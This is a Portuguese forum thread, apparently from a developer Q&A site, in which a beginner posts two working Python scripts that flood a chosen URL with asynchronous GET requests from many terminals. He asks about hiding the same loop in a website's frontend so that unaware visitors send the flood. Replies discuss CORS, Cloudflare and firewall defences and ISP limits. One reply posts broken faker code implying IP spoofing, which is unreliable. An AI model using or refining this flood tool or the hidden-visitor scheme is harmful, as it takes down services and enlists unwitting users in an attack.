Executando verificação de segurança...
4

É possível realizar um ataque de negação de serviço distribuído (DDoS) utilizando múltiplas requisições GET enviadas de forma assíncrona para um determinado URL?

Recentemente eu fiz um código em python que faz exatamente isso. Reliza múltiplas requisições get simultaneas a uma determinada url. consegui fazer 30 mil requisições em 1 minuto.

Basicamente essa parte do código recebe as variaveis de: número de terminais, quantidade de requisições feitas por terminal e url de destino. Depois abre varios terminais e começa a executar a outra parte do código.


import asyncio
import aiohttp
from colorama import init, Fore, Back, Style
import subprocess
import time

init()

if __name__ == '__main__':

    url_input = input( "ENTER TARGET URL: ")
    num = int(input(" NUMBER OF REQUESTS: "))
    num2 = int(input(" NUMBER OF TERMINALS: "))
   # path = --

    for i in range(0, num2):
        subprocess.Popen(['start', 'cmd', '/c', 'python',str(path), 'hello.py', url_input ,str(num) ], shell=True)

    #asyncio.run(main(url_input, num))
    time.sleep(100000)



E essa parte do código realiza as requisições:

import sys
import asyncio
import aiohttp
from colorama import init, Fore, Back, Style
import subprocess

init()

async def make_request(url_input):
    async with aiohttp.ClientSession() as session:
        async with session.get(url_input) as response:
            content = await response.read()
            status = response.status
            print(status)
            return content
        
async def main(url, num):
    urls = [url] * num
    tasks = [asyncio.create_task(make_request(url)) for url in urls]
    await asyncio.gather(*tasks)
    await asyncio.sleep(1)

if __name__ == '__main__':
    url_input = sys.argv[2]
    num = sys.argv[3]
    num = int(num)
    asyncio.run(main(url_input, num))

Seria possível eu hospedar um site que tem no código do frontend a mesma lógica de fazer as requisições em loop? Nesse caso seria possível que diversos usuários realizassem diversas requisições ao mesmo tempo.

A minha dúvida é: Pôr que isso não funcionaria?

Outra coisa, os ips dos usuários que estão acessando o site sem saber que requisições estão sendo feitas teriam seus ips bloqueados pela url de destino?

(Sou iniciante e isso é uma dúvida genuína que tenho.)

Carregando publicação patrocinada...
1
1

Possível sim, fácil não, pois os navegadores contam com restrições para chamadas fora do domínio, esse é o famigerado CORS. Em resumo o server destino precisa estar exposto, ou seja, autorizando a fonte do request.

1

Seria possível eu hospedar um site que tem no código do frontend a mesma lógica de fazer as requisições em loop?

Possível seria, se funciona no teu browser você consegue colocar online.

Nesse caso seria possível que diversos usuários realizassem diversas requisições ao mesmo tempo.

Sim

A minha dúvida é: Pôr que isso não funcionaria?

Proteção contra DDoS. Hoje em dia é muito fácil implementar uma proteção. Apenas colocar um domínio na Cloudflare usando DNS Proxied já bloqueia o seu ataque.

Além de que uma configuração de firewall decente já bloquearia esses ataques feitos em baixa escala sem nem precisar de um serviço externo.

Outra coisa, os ips dos usuários que estão acessando o site sem saber que requisições estão sendo feitas teriam seus ips bloqueados pela url de destino?

Sim! Qualquer firewall ou serviço que proteja um servidor irá bloquear completamente quem está fazendo as requisições maliciosas

1

que tal...

import faker

fake = faker.Faker()

def make_request(url_input):
ip = fake.ipv4()

def main(url, num):
urls = [url] * num
for url in urls:
make_request(url)

if name == 'main':
url_input = sys.argv[2]
num = sys.argv[3]
num = int(num)
main(url_input, num)

1

Possível é, mas depende de muita coisa.

  1. Tenha em mente que a rede de internet da sua casa provavelmente não é capaz de fazer um ataque DoS. As ISPs tomam medidas para restringir isso e até a própria largura de banda é muito baixa para conseguir congestionar a maioria dos servidores. Por esse motivo, atacantes geralmente se infiltram em servidores e instalam botnets para atacar alvos
  2. Requisições GET são requisições HTTP que chegam em uma aplicação. Dependendo de como a aplicação executa essa requisição, até mesmo poucas requisições seriam capazes de derrubar o serviço. Por exemplo, se a aplicação executa uma query pesada, sem índices e demora muito para responder, requisições subsequentes alocariam recursos que provavelmente demorariam para serem liberados, criando uma bola de neve derrubando a aplicação.

Dificilmente DDoS utilizam HTTP. Em sua maioria, utilizam apenas TCP (HTTP roda em cima de TCP, mas você me entendeu), UDP, ou qualquer outro protocolo que você possa floodar um servidor até congestioná-lo.